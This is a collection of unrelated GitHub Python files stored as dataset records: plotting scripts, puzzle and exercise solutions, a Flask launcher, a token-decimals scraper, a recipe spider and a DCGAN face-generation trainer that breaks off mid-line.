{"seq_id":"2381374294","text":"import logging\nfrom homeassistant.util import dt as dt_util\nfrom datetime import timedelta\nfrom csv import writer\nimport matplotlib.pyplot as plt\n\n\n_LOGGER = logging.getLogger(__name__)\n\nTOP_EXPONENT=2\nBOTTOM_EXPONENT=2.2\n\n\nif __name__ == '__main__':\n    from custom_components.circadian_white.sensor import CircadianWhiteSensor\n    # When to simulate\n    dt_util.set_default_time_zone(\n        dt_util.get_time_zone('Australia/Melbourne'))\n    now = dt_util.now()\n    day_start = now.replace(hour=7, minute=1, second=42)\n    day_middle = now.replace(hour=12, minute=19, second=32)\n    day_end = now.replace(hour=17, minute=37, second=26)\n    start = now.replace(hour=0, minute=0, second=0)\n\n    def one_day():\n        circ = CircadianWhiteSensor('test_math', 2500, 4500, 6500, TOP_EXPONENT, BOTTOM_EXPONENT)\n        circ._x_limit = 2\n        circ._day_start = day_start\n        circ._day_middle = day_middle\n        circ._day_end = day_end\n        circ._last_sun_update = start\n        circ._calculate_day_events()\n        print(\"Sensor Current Config:\")\n        print(circ.device_state_attributes)\n        state = None\n        tod = None\n        for seconds in range(86399):\n            now = start + timedelta(seconds=seconds)\n            circ._calculate_kelvins(now)\n            if state != circ.state or tod != circ._currently:\n                state = circ.state\n                tod = circ._currently\n                yield seconds, now, circ\n        #Yield the final state no matter what\n        now = start + timedelta(seconds=86400)\n        circ._calculate_kelvins(now)\n        yield 86400, now, circ\n\n    plot_times = []\n    plot_kelvins = []\n    plot_tod = {\n        'times': [],\n        'kelvins': [],\n    }\n    plot_xticks = [0,\n                   (day_start - start).total_seconds(),\n                   (day_middle - start).total_seconds(),\n                   (day_end - start).total_seconds(),\n                   86400]\n    plot_xlabels = ['Midnight',\n                    'Dawn',\n                    'Noon',\n                    'Dusk',\n                    'Midnight']\n    with open('sample_day.csv', 'w', newline='') as file_h:\n        csv = writer(file_h)\n        csv.writerow(['Date', 'Time', 'Time of Day', 'Second', 'Kelvins'])\n        tod = None\n\n        for seconds, now, circ in one_day():\n            csv.writerow([now.date(), now.strftime(\"%H:%M\"),\n                          circ._currently, now.second, circ.state])\n            plot_times.append(seconds)\n            plot_kelvins.append(circ.state)\n\n            if tod != circ._currently:\n                tod = circ._currently\n                plot_tod['times'].append(seconds)\n                plot_tod['kelvins'].append(circ.state)\n                print(\"{} {:16} -> {}\".format(\n                    now.strftime(\"%H:%M:%S\"), tod, circ.state))\n\n    with plt.xkcd():\n        fig = plt.figure()\n\n        ax = fig.add_axes((0.1, 0.1, 0.8, 0.8))\n        ax.xaxis.set_ticks_position('bottom')\n        ax.yaxis.set_ticks_position('left')\n        ax.spines['right'].set_color('none')\n        ax.spines['top'].set_color('none')\n\n        plt.yticks([1500, 2500, 4500, 6000, 6500])\n        plt.ylim([1000, 7000])\n        plt.ylabel('Kelvins')\n\n        ax.set_xlim([0, 86400])\n        ax.set_xticks(plot_xticks)\n        ax.set_xticklabels(plot_xlabels)\n\n        plt.title(\"Circadian White level for a sample Day\")\n        plt.plot(plot_times, plot_kelvins)\n\n        plt.vlines(plot_tod['times'], 0, plot_tod['kelvins'], colors='grey')\n\n        # plt.annotate(xy=[0,6000], s=\"6000\")\n        # plt.axhline(y=6000)\n        plt.axhline(y=2500)\n\n        fig.text(0.8, 0.4, \n            'Top Exponent: {}\\nBottom Exponent: {}'.format(TOP_EXPONENT, BOTTOM_EXPONENT),\n            ha='center')\n\n    plt.show()\n    fig.clear()\n    plt.close(fig)\n\n\n","repo_name":"iwillau/circadian_white","sub_path":"do_math.py","file_name":"do_math.py","file_ext":"py","file_size_in_byte":3799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35385611146","text":"#!/usr/bin/env/python\n#-*- coding:utf-8 -*-\n\n__author__ = 'BlackYe.'\n\nfrom flask.ext.script import Manager, Server\nfrom app import create_app\n\nimport os\n\nenv = os.environ.get('WEBAPP_ENV', 'config')\napp = create_app(env)\nmanager = Manager(app)\nmanager.add_command(\"runserver\", Server(use_debugger = True,\n                                        use_reloader = True,\n                                        host = '172.16.203.129', port = 8080))\n\n\nif __name__ == '__main__':\n    manager.run()","repo_name":"blackye/lalascan","sub_path":"webservice/lalascan_web/manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":173,"dataset":"github-code","pt":"35"}
{"seq_id":"24927948232","text":"'''\n    Sudoku is a logic-based, combinatorial number-placement puzzle.\n    The objective is to fill a 9×9 grid with digits so that\n    each column, each row, and each of the nine 3×3 subgrids that compose the grid\n    contains all of the digits from 1 to 9.\n\n    Complete the check_sudoku function to check if the given grid\n    satisfies all the sudoku rules given in the statement above.\n    Author : Praveen\n    Date : 25-08-2018\n'''\ndef first_row(sudoku):\n    '''Sub function'''\n    li_st1 = []\n    li_st2 = []\n    li_st3 = []\n    for lo_op in range(0, 3):\n        for in_loop in range(0, 3):\n            li_st1.append(sudoku[lo_op][in_loop])\n        for in_loop in range(3, 6):\n            li_st2.append(sudoku[lo_op][in_loop])\n        for in_loop in range(6, 9):\n            li_st3.append(sudoku[lo_op][in_loop])\n    if not (is_line(li_st1) and is_line(li_st2) and is_line(li_st3)):\n        return False\n    return True\ndef second_row(sudoku):\n    '''Sub function'''\n    li_st1 = []\n    li_st2 = []\n    li_st3 = []\n    for lo_op in range(3, 6):\n        for in_loop in range(0, 3):\n            li_st1.append(sudoku[lo_op][in_loop])\n        for in_loop in range(3, 6):\n            li_st2.append(sudoku[lo_op][in_loop])\n        for in_loop in range(6, 9):\n            li_st3.append(sudoku[lo_op][in_loop])\n    if not (is_line(li_st1) and is_line(li_st2) and is_line(li_st3)):\n        return False\n    return True\ndef third_row(sudoku):\n    '''Sub function'''\n    li_st1 = []\n    li_st2 = []\n    li_st3 = []\n    for lo_op in range(6, 9):\n        for in_loop in range(0, 3):\n            li_st1.append(sudoku[lo_op][in_loop])\n        for in_loop in range(3, 6):\n            li_st2.append(sudoku[lo_op][in_loop])\n        for in_loop in range(6, 9):\n            li_st3.append(sudoku[lo_op][in_loop])\n    if not (is_line(li_st1) and is_line(li_st2) and is_line(li_st3)):\n        return False\n    return True\ndef is_line(li_st):\n    '''Sub function'''\n    sample_list = ['1', '2', '3', '4', '5', '6', '7', '8', '9']\n    sample_dictionary = {}\n    # print(li_st)\n    for lo_op in li_st:\n        if lo_op in sample_list:\n            if lo_op not in sample_dictionary:\n                sample_dictionary[lo_op] = 1\n            else:\n                return False\n    # print(set(list((sample_dictionary.keys()))))\n    le_n = len(set(sample_dictionary.keys()))\n    if le_n == 9:\n        return True\n    return False\ndef check_sudoku(sudoku):\n    '''\n        Your solution goes here. You may add other helper functions as needed.\n        The function has to return True for a valid sudoku grid and false otherwise\n    '''\n    for lo_op in sudoku:\n        boolean = is_line(lo_op)\n        if not boolean:\n            return False\n    for lo_op in range(9):\n        if len(sudoku[lo_op]) == 9:\n            li_st = []\n            for in_loop in range(9):\n                li_st.append(str(sudoku[in_loop][lo_op]))\n            # print(li_st)\n            boolean = is_line(li_st)\n            if not boolean:\n                return False\n    if not first_row(sudoku):\n        return False\n    if not second_row(sudoku):\n        return False\n    if not third_row(sudoku):\n        return False\n    return True\ndef main():\n    '''\n        main function to read input sudoku from console\n        call check_sudoku function and print the result to console\n    '''\n    # initialize empty list\n    sudoku = []\n\n    # loop to read 9 lines of input from console\n    for i in range(9):\n        # read a line, split it on SPACE and append row to list\n        row = input().split(' ')\n        sudoku.append(row)\n        i += 1\n    # call solution function and print result to console\n    print(check_sudoku(sudoku))\n\nif __name__ == '__main__':\n    main()\n","repo_name":"praveen5658/cspp1","sub_path":"cspp1_practise/cspp1-assignments/m22/Check Sudoku/check_sudoku.py","file_name":"check_sudoku.py","file_ext":"py","file_size_in_byte":3728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23385774005","text":"\"\"\"\r\n2020/12/03\r\nThis script plots the result from t03a_evaluate_NB_accuracy_over_all_layers.py\r\n\"\"\"\r\n\r\nimport json\r\nimport os\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nfrom utils.extraction_model import load_model\r\n\r\nconfig_path = '../../configs/norm_base_config'\r\nconfig_name = 'norm_base_affectNet_sub8_4000_t0005.json'\r\nconfig_file_path = os.path.join(config_path, config_name)\r\nprint(\"config_file_path\", config_file_path)\r\n# load norm_base_config file\r\nwith open(config_file_path) as json_file:\r\n    config = json.load(json_file)\r\n\r\nif config['v4_layer'] == \"all\":\r\n    v4_layers = []\r\n    model = load_model(config, input_shape=(224, 224, 3))\r\n    for layer in model.layers[1:]:\r\n        v4_layers.append(layer.name)\r\nelif isinstance(config['v4_layer'],list):\r\n    v4_layers = config['v4_layer']\r\nelse:\r\n    raise ValueError(\"v4_layer: {} is chosen, but should be a list! Please choose [\\\"layer1\\\", \\\"layer2\\\"] instead!\"\r\n                     .format(config['v4_layer']))\r\n\r\naccuracies = np.zeros(len(v4_layers))\r\nfor i_layer, layer in enumerate(v4_layers):\r\n    config['v4_layer'] = layer\r\n\r\n    # folder for load\r\n    load_folder = os.path.join(\"../../models/saved\", config['save_name'], config['v4_layer'])\r\n    accuracy = np.load(os.path.join(load_folder, \"accuracy.npy\"))\r\n    accuracies[i_layer] = accuracy\r\n\r\n# print maximum\r\nprint(\"max accuracy\", np.max(accuracies))\r\nprint(\"max layer no\", np.argmax(accuracies))\r\nprint(\"max layer\", v4_layers[np.argmax(accuracies)])\r\n\r\n#create plot\r\nfig = plt.figure(figsize=(30,15))\r\nax = plt.axes()\r\nplt.title(\"Accuracy over Layers\")\r\nplt.plot(v4_layers, accuracies)\r\nplt.xticks(rotation=90)\r\nax.xaxis.grid()\r\n\r\n#save plot\r\nplt.savefig(os.path.join(\"../../models/saved\", config['save_name'], \"plot_accuracy_pool.png\"))\r\n","repo_name":"michaelStettler/BVS","sub_path":"tests/NormBase/t03b_plot_accuracy_layers.py","file_name":"t03b_plot_accuracy_layers.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"24784929087","text":"# Write a function called range_in_list which accepts a list and start and end indices, and returns the sum of the values between (and\n# including) the start and end index.\n# If a start parameter is not passed in, it should default to zero. If an end parameter is not passed in, it should default to the last value in the\n# list.Also, if the end argument is too large, the sum should still go through the end of the list.\n\ndef range_in_list(val_list, start=None, end=None):\n    if len(val_list) == 0:\n        return 0\n    if end:\n        return sum(val_list[start:end+1])\n    elif start:\n        return sum(val_list[start::])\n    else:\n        return sum(val_list)\n\n\n\n\n\n# Test Cases\nprint(range_in_list([1,2,3,4],0,2))#  6\nprint(range_in_list([1,2,3,4],0,3))# 10\nprint(range_in_list([1,2,3,4],1))#  9\nprint(range_in_list([1,2,3,4]))# 10\nprint(range_in_list([1,2,3,4],0,100))# 10\nprint(range_in_list([], 0, 1))  # 0\n\n\n#here be dragons\ndef _range_in_list(lst, start=0, end=None):\n    end = end or lst[-1]\n    return sum(lst[start:end+1])","repo_name":"Exia01/Python","sub_path":"Self-Learning/Algorithm_challenges/range_in_list.py","file_name":"range_in_list.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"30534435471","text":"from copy import deepcopy\nfrom math import sqrt\nfrom sys import exit as closewindow\nimport pygame\n\npygame.init()\nsize = width, height = 320, 240\nscreen = pygame.display.set_mode(size)\nclock = pygame.time.Clock()\n\n\ndef saturate(value, min_val=0, max_val=255):\n    if value > max_val:\n        return max_val\n    elif value < min_val:\n        return min_val\n    return value\n\n\nhmap: list[list[int | float]] = [[0 for i in range(width)] for j in range(height)]\npxarray = pygame.PixelArray(screen)\n\n\ndef change_heightmap(x: int, y: int, radius: int = 30) -> None:\n    ratio = 255 / radius\n    for i in range(-radius, radius + 1):\n        for j in range(-radius, radius + 1):\n            xpos = i + x\n            ypos = j + y\n            try:\n                hmap[xpos][ypos] += max(0,\n                                        ratio * (radius - sqrt(i**2 + j**2)))\n            except IndexError:\n                pass\n            else:\n                hmap[xpos][ypos] = saturate(hmap[xpos][ypos])\n\n\nnewmap = deepcopy(hmap)\n\nwhile True:\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            closewindow()\n        elif event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:\n            # indcrease height map at that position\n            change_heightmap(event.pos[1], event.pos[0], 10)\n\n    for y, row in enumerate(hmap):\n        for x in range(width):\n            \n            sum = 0\n            try:\n                for i in (-1, 0, 1):\n                    for j in (-1, 0, 1):\n                        sum += hmap[x + i][y + j]\n                newmap[x][y] = saturate(sum // 9)\n            except IndexError:\n                pass\n    hmap = newmap\n\n    for y, row in enumerate(hmap):\n        for x, pixel in enumerate(row):\n            pxarray[x][y] = (pixel, 0, 0) # type: ignore\n            # pxarray[x][y] = (255, 255- pixel, 255- pixel)\n\n    pygame.display.update()","repo_name":"Christiano300/Programme","sub_path":"average.py","file_name":"average.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74180899940","text":"#User function Template for python3\n\nclass Solution:\n    def countMinOperations(self, arr, n):\n        # code here\n        maxop = sub = 0\n        for i in range(n):\n            operations = 0\n            while arr[i] != 0:\n                if arr[i]%2 == 0:\n                    arr[i] = arr[i] //2\n                    operations+=1\n                else:\n                    arr[i] = arr[i] - 1\n                    sub+=1\n            maxop = max(maxop, operations)\n        return (maxop+sub)\n\n#{ \n # Driver Code Starts\n#Initial Template for Python 3\n\nif __name__ == '__main__':\n    tc = int(input())\n    while tc > 0:\n        n = int(input())\n        arr = list(map(int, input().strip().split()))\n        ob = Solution()\n        ans = ob.countMinOperations(arr, n)\n        print(ans)\n        tc -= 1\n\n# } Driver Code Ends","repo_name":"AyushAgnihotri2025/CP-Solutions","sub_path":"GeeksforGeeks/Python3/Medium/Minimum steps to get desired array/minimum-steps-to-get-desired-array.py","file_name":"minimum-steps-to-get-desired-array.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"14906638456","text":"# python 3.8.1\n\nfrom web3 import Web3\nimport pandas as pd\nimport json\nimport sys\nimport requests\nfrom terra_sdk.client.lcd import LCDClient\n\n\nif len(sys.argv) == 1:\n    print('Please pass csv file of (chain,address) to read')\n    sys.exit(0)\n\n# hardcoded erc20 abi for reading ERC20 contracts\nerc20_abi = [\n    {\n        \"constant\": True,\n        \"inputs\": [],\n        \"name\": \"name\",\n        \"outputs\": [\n            {\n                \"name\": \"\",\n                \"type\": \"string\"\n            }\n        ],\n        \"payable\": False,\n        \"stateMutability\": \"view\",\n        \"type\": \"function\"\n    },\n    {\n        \"constant\": False,\n        \"inputs\": [\n            {\n                \"name\": \"_spender\",\n                \"type\": \"address\"\n            },\n            {\n                \"name\": \"_value\",\n                \"type\": \"uint256\"\n            }\n        ],\n        \"name\": \"approve\",\n        \"outputs\": [\n            {\n                \"name\": \"\",\n                \"type\": \"bool\"\n            }\n        ],\n        \"payable\": False,\n        \"stateMutability\": \"nonpayable\",\n        \"type\": \"function\"\n    },\n    {\n        \"constant\": True,\n        \"inputs\": [],\n        \"name\": \"totalSupply\",\n        \"outputs\": [\n            {\n                \"name\": \"\",\n                \"type\": \"uint256\"\n            }\n        ],\n        \"payable\": False,\n        \"stateMutability\": \"view\",\n        \"type\": \"function\"\n    },\n    {\n        \"constant\": False,\n        \"inputs\": [\n            {\n                \"name\": \"_from\",\n                \"type\": \"address\"\n            },\n            {\n                \"name\": \"_to\",\n                \"type\": \"address\"\n            },\n            {\n                \"name\": \"_value\",\n                \"type\": \"uint256\"\n            }\n        ],\n        \"name\": \"transferFrom\",\n        \"outputs\": [\n            {\n                \"name\": \"\",\n                \"type\": \"bool\"\n            }\n        ],\n        \"payable\": False,\n        \"stateMutability\": \"nonpayable\",\n        \"type\": \"function\"\n    },\n    {\n        \"constant\": True,\n        \"inputs\": [],\n        \"name\": \"decimals\",\n        \"outputs\": [\n            {\n                \"name\": \"\",\n                \"type\": \"uint8\"\n            }\n        ],\n        \"payable\": False,\n        \"stateMutability\": \"view\",\n        \"type\": \"function\"\n    },\n    {\n        \"constant\": True,\n        \"inputs\": [\n            {\n                \"name\": \"_owner\",\n                \"type\": \"address\"\n            }\n        ],\n        \"name\": \"balanceOf\",\n        \"outputs\": [\n            {\n                \"name\": \"balance\",\n                \"type\": \"uint256\"\n            }\n        ],\n        \"payable\": False,\n        \"stateMutability\": \"view\",\n        \"type\": \"function\"\n    },\n    {\n        \"constant\": True,\n        \"inputs\": [],\n        \"name\": \"symbol\",\n        \"outputs\": [\n            {\n                \"name\": \"\",\n                \"type\": \"string\"\n            }\n        ],\n        \"payable\": False,\n        \"stateMutability\": \"view\",\n        \"type\": \"function\"\n    },\n    {\n        \"constant\": False,\n        \"inputs\": [\n            {\n                \"name\": \"_to\",\n                \"type\": \"address\"\n            },\n            {\n                \"name\": \"_value\",\n                \"type\": \"uint256\"\n            }\n        ],\n        \"name\": \"transfer\",\n        \"outputs\": [\n            {\n                \"name\": \"\",\n                \"type\": \"bool\"\n            }\n        ],\n        \"payable\": False,\n        \"stateMutability\": \"nonpayable\",\n        \"type\": \"function\"\n    },\n    {\n        \"constant\": True,\n        \"inputs\": [\n            {\n                \"name\": \"_owner\",\n                \"type\": \"address\"\n            },\n            {\n                \"name\": \"_spender\",\n                \"type\": \"address\"\n            }\n        ],\n        \"name\": \"allowance\",\n        \"outputs\": [\n            {\n                \"name\": \"\",\n                \"type\": \"uint256\"\n            }\n        ],\n        \"payable\": False,\n        \"stateMutability\": \"view\",\n        \"type\": \"function\"\n    },\n    {\n        \"payable\": True,\n        \"stateMutability\": \"payable\",\n        \"type\": \"fallback\"\n    },\n    {\n        \"anonymous\": False,\n        \"inputs\": [\n            {\n                \"indexed\": True,\n                \"name\": \"owner\",\n                \"type\": \"address\"\n            },\n            {\n                \"indexed\": True,\n                \"name\": \"spender\",\n                \"type\": \"address\"\n            },\n            {\n                \"indexed\": False,\n                \"name\": \"value\",\n                \"type\": \"uint256\"\n            }\n        ],\n        \"name\": \"Approval\",\n        \"type\": \"event\"\n    },\n    {\n        \"anonymous\": False,\n        \"inputs\": [\n            {\n                \"indexed\": True,\n                \"name\": \"from\",\n                \"type\": \"address\"\n            },\n            {\n                \"indexed\": True,\n                \"name\": \"to\",\n                \"type\": \"address\"\n            },\n            {\n                \"indexed\": False,\n                \"name\": \"value\",\n                \"type\": \"uint256\"\n            }\n        ],\n        \"name\": \"Transfer\",\n        \"type\": \"event\"\n    }\n]\n\n# default dev RPCs\nweb3_evm_providers = {\n    'eth': Web3(Web3.HTTPProvider('https://eth-mainnet.alchemyapi.io/v2/demo')),\n    'avax': Web3(Web3.HTTPProvider('https://api.avax.network/ext/bc/C/rpc')),\n    'ftm': Web3(Web3.HTTPProvider('https://rpc.ftm.tools')),\n    'matic': Web3(Web3.HTTPProvider('https://polygon-rpc.com')),\n    'oasis': Web3(Web3.HTTPProvider('https://emerald.oasis.dev')),\n    'bsc': Web3(Web3.HTTPProvider('https://bsc-dataseed.binance.org')),\n    'aurora': Web3(Web3.HTTPProvider('https://mainnet.aurora.dev')),\n}\nterra_client = LCDClient(chain_id=\"columbus-5\", url=\"https://lcd.terra.dev\")\n\n# solana tokens\nr = requests.get('https://raw.githubusercontent.com/solana-labs/token-list/main/src/tokens/solana.tokenlist.json')\nsolana_tokens = r.json()\nprint(solana_tokens)\n\n# to store decimals for all contracts\noutput_decimals = {}\n\ndef evmDecimals(origin, sourceAddrRaw):\n    sourceAddr = Web3.toChecksumAddress(sourceAddrRaw)\n\n    output_key = origin + '_' + sourceAddr\n    if output_key in output_decimals:\n        return\n\n    originProvider = web3_evm_providers[origin]\n    originContract = originProvider.eth.contract(sourceAddr, abi=erc20_abi)\n    symbol = originContract.functions.symbol().call()\n    decimals = originContract.functions.decimals().call()\n\n    print(origin, symbol, decimals)\n    output_decimals[output_key] = decimals\n\n\ndef solDecimals(sourceAddr):\n    output_key = 'sol_' + sourceAddr\n    if output_key in output_decimals:\n        return\n\n    for token_data in solana_tokens['tokens']:\n        if token_data['address'] == sourceAddr:\n            print('sol', token_data['symbol'], token_data['decimals'])\n            output_decimals[output_key] = token_data['decimals']\n            break\n\n\ndef terraDecimals(sourceAddr):\n    output_key = 'terra_' + sourceAddr\n    if output_key in output_decimals:\n        return\n\n    if sourceAddr == 'uusd' or sourceAddr == 'uluna':\n        print('terra', sourceAddr, 6)\n        output_decimals['terra_' + sourceAddr] = 6\n        return\n\n    contract_info = terra_client.wasm.contract_info(sourceAddr)\n    decimals = contract_info['init_msg']['decimals']\n    symbol = contract_info['init_msg']['symbol']\n    print('terra', symbol, decimals)\n    output_decimals['terra_' + sourceAddr] = decimals\n\n\ndef getTokenData(chain, raw_addr):\n    if chain == 'sol':\n        solDecimals(raw_addr)\n    elif chain == 'terra':\n        terraDecimals(raw_addr)\n    else:\n        evmDecimals(chain, raw_addr)\n\n# given an input csv file of format (chain, address), where address is assumed to be a contract\n# iterate through and get token data for the contract at each address\n# see example_input.csv\ndf = pd.read_csv(sys.argv[1], header=None)\nfor _, row in df.iterrows():\n    getTokenData(row[0], row[1])\n\n# output as decimals_output.json with the decimals from RPC\nf = open('decimals_output.json', 'w')\njson.dump(output_decimals, f)\nf.close()\n","repo_name":"wormhole-foundation/wormhole-token-list","sub_path":"rpc_scripts/asset_scraper.py","file_name":"asset_scraper.py","file_ext":"py","file_size_in_byte":8053,"program_lang":"python","lang":"en","doc_type":"code","stars":110,"dataset":"github-code","pt":"35"}
{"seq_id":"29013111350","text":"# -*- coding: utf-8 -*-\nimport scrapy\n\n\nclass RecipesSpider(scrapy.Spider):\n    name = 'recipes'\n    allowed_domains = ['https://www.myrecipes.com/']\n    start_urls = [\n        'https://www.myrecipes.com/recipe/mediterranean-tuna-salad-2'\n        ]\n\n    def parse(self, response):\n        title = response.\\\n            xpath('//*[@class=\"headline heading-content\"]/text()')\\\n            .extract_first()\n\n        totalTime = response.\\\n            xpath('//*[@class=\"recipe-meta-item-body\"]/text()')\\\n            .extract_first().strip()\n\n        ingredients = response.\\\n            xpath('//*[@class=\"ingredients\"]/ul/li/text()').extract()\n\n        instructions = response.\\\n            xpath('//*[@class=\"step\"]/p/text()').extract()\n\n        nutrients = response.\\\n            xpath('//*[@class=\"partial recipe-nutrition\"]/ul/li/text()').\\\n            extract()\n\n        yield {\n            'Title': title,\n            'TotalTime': totalTime,\n            'Ingredients': ingredients,\n            'Instructions': instructions,\n            'Nutrients': nutrients\n        }\n","repo_name":"coleslaw-wgu/MyRecipesScraper","sub_path":"MyRecipes/MyRecipes/spiders/recipes.py","file_name":"recipes.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42175561195","text":"# -*- coding: utf-8 -*-\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os, os.path\nimport functools\nimport tensorflow as tf\nimport progressbar\nfrom string import Formatter\n\ntf.enable_eager_execution()\n\nCELEBA_PATH_AMZ = \"https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/celeba.zip\"\nNOISE_SIZE = 100\n\nif not tf.test.is_gpu_available():\n    print(\"No GPU\")\nelse:\n    from tensorflow.python.client import device_lib\n    print(device_lib.list_local_devices())\n\ndef custom_progress_text(message):\n\n    message_ = message.replace('(', '{')\n    message_ = message_.replace(')', '}')\n\n    keys = [key[1] for key in Formatter().parse(message_)]\n\n    ids = {}\n    for key in keys:\n        if key is not None:\n            ids[key] = float('nan')\n\n    msg = progressbar.FormatCustomText(message, ids)\n    return msg\n\n\ndef create_progress_bar(text=None):\n\n    if text is None:\n        text = progressbar.FormatCustomText('')\n    bar = progressbar.ProgressBar(widgets=[\n        progressbar.Percentage(),\n        progressbar.Bar(),\n        progressbar.AdaptiveETA(), '  ',\n        text,\n    ])\n    return bar\n\n\ndef dowload_images(url=CELEBA_PATH_AMZ):\n\n    path_to_faces = tf.keras.utils.get_file(\"celebs.zip\", url, extract=True)\n    img_path = os.path.join(os.path.split(path_to_faces)[0], 'img_align_celeba')\n\n    image_list = []\n    for each in os.listdir(img_path):\n        full_path = os.path.join(img_path, each)\n        if os.path.isfile(full_path):\n            image_list.append(full_path)\n\n    return image_list\n\n\ndef create_dataset(image_list, batch_size=50, randomize=True):\n\n    dataset = tf.data.Dataset.from_tensor_slices(image_list)\n\n    # mapping function to load and resize the images\n    def load_image(filename, width=56, height=56):\n        image_string = tf.read_file(filename)\n        image = tf.image.decode_jpeg(image_string)\n        image = tf.image.convert_image_dtype(image, tf.float32)\n\n        if image.shape[:2] != [width, height]:\n            image = tf.image.crop_to_bounding_box(image, 40, 20, 218 - 80, 178 - 40)\n            image = tf.image.resize(image, [width, height])\n\n        return image\n\n    dataset = dataset.map(load_image)\n    dataset = dataset.repeat()\n\n    if randomize:\n        dataset = dataset.shuffle(len(image_list))\n\n    if batch_size > 0:\n        dataset = dataset.batch(batch_size)\n\n    return dataset\n\n\ndef create_generator(noise_shape=(100, 0), show=False):\n\n    BatchNormalization = tf.keras.layers.BatchNormalization\n    Dense = tf.keras.layers.Dense\n    Conv2DTranspose = tf.keras.layers.Conv2DTranspose\n    LeakyReLU = tf.keras.layers.LeakyReLU\n\n    model = tf.keras.Sequential([\n        Dense(4 * 4 * 1024, use_bias=False, input_shape=noise_shape, activation='relu'),\n        BatchNormalization(),\n        tf.keras.layers.Reshape((4, 4, 1024)),\n\n        Conv2DTranspose(filters=512, kernel_size=[4, 4], strides=1),\n        BatchNormalization(),\n        LeakyReLU(),\n\n        Conv2DTranspose(filters=256, kernel_size=[5, 5], strides=2, padding=\"same\"),\n        BatchNormalization(),\n        LeakyReLU(),\n\n        Conv2DTranspose(filters=128, kernel_size=[5, 5], strides=2, padding=\"same\"),\n\n        BatchNormalization(),\n        LeakyReLU(),\n\n        Conv2DTranspose(filters=3, kernel_size=[5, 5], strides=2, padding=\"same\")\n\n    ], name=\"Generator\")\n\n    if show:\n        print(model.summary())\n\n    return model\n\n\ndef create_discriminator(show=False, drop_rate=0.3):\n\n    BatchNormalization = tf.keras.layers.BatchNormalization\n    Dense = tf.keras.layers.Dense\n    Conv2D = functools.partial(tf.keras.layers.Conv2D, padding='same')  \n    LeakyReLU = tf.keras.layers.LeakyReLU\n    DropOut = tf.keras.layers.Dropout\n\n    model = tf.keras.Sequential([\n        Conv2D(filters=64, kernel_size=[5, 5], strides=[2, 2], input_shape=(56, 56, 3)),\n        BatchNormalization(),\n        LeakyReLU(),\n        DropOut(drop_rate),\n\n        Conv2D(filters=128, kernel_size=[5, 5], strides=[2, 2]),\n        BatchNormalization(),\n        LeakyReLU(),\n        DropOut(drop_rate),\n\n        Conv2D(filters=256, kernel_size=[5, 5], strides=[2, 2]),\n        BatchNormalization(),\n        LeakyReLU(),\n        DropOut(drop_rate),\n\n        tf.keras.layers.Flatten(name=\"Disc_Flat\"),\n\n        Dense(1, name=\"Disc_Logit\")\n\n    ], name=\"Discriminator\")\n    if show:\n        print(model.summary())\n    return model\n\n\ndef train_model(nb_epochs, batch_size, disp_freq, save_freq, destination, learning_rate = 2.5e-4, beta1 = 0.45):\n\n    iamges_list = dowload_images()\n    nb_images = len(iamges_list)\n\n    dataset = create_dataset(iamges_list, batch_size=batch_size)\n\n    iterator = dataset.make_one_shot_iterator()\n\n    iterator.get_next().shape\n\n    generator = create_generator((NOISE_SIZE,))\n    discriminator = create_discriminator()\n\n    gen_optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate, beta1=beta1,\n                                           name=\"Generator_Optimizer\")  # define our optimizer\n    disc_optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate, beta1=beta1,\n                                            name=\"Discriminator_Optimizer\")  # define our optimizer\n\n    checkpoint = tf.train.Checkpoint(gen_optimizer=gen_optimizer, disc_optimizer=disc_optimizer, generator=generator,\n                                     discriminator=discriminator)\n    checkpoint_prefix = os.path.join(destination, \"ckpt\")\n\n    checkpoint.restore(tf.train.latest_checkpoint(checkpoint_prefix))\n\n    gen_labels = np.ones((batch_size, 1)).astype(np.float32)\n    disc_labels = np.concatenate([np.zeros((batch_size, 1)), np.ones((batch_size, 1))]).astype(np.float32)\n\n    for epoch in range(nb_epochs):\n\n        custom_msg = custom_progress_text(\"Epoch: %(epoch).0f Gen loss: %(gen_loss)2.2f Disc loss: %(disc_loss)2.2f\")\n        bar = create_progress_bar(custom_msg)\n\n        for idx in bar(range(nb_images // batch_size)):\n            batch = iterator.get_next()\n            # draw a batch of random\n            noise = np.random.uniform(-1, 1, (batch_size, NOISE_SIZE)).astype(np.float32)\n\n            with tf.GradientTape() as gen_tape, tf.GradientTape() as disc_tape:\n                gen_images = generator(noise)\n\n                gen_logits = discriminator(gen_images)\n                gen_loss = tf.nn.sigmoid_cross_entropy_with_logits(labels=gen_labels, logits=gen_logits)\n                # print(\"loss shape {}\".format(gen_loss.shape))\n\n                real_logits = discriminator(batch)\n\n                disc_logits = tf.concat([gen_logits, real_logits], axis=0)\n                disc_loss = tf.nn.sigmoid_cross_entropy_with_logits(labels=disc_labels, logits=disc_logits)\n\n            grads = gen_tape.gradient(gen_loss, generator.variables)\n            gen_optimizer.apply_gradients(zip(grads, generator.variables))\n\n            grads = disc_tape.gradient(disc_loss, discriminator.variables)\n            disc_optimizer.apply_gradients(zip(grads, discriminator.variables))\n\n            custom_msg.update_mapping(epoch=epoch, gen_loss=gen_loss.numpy().mean(), 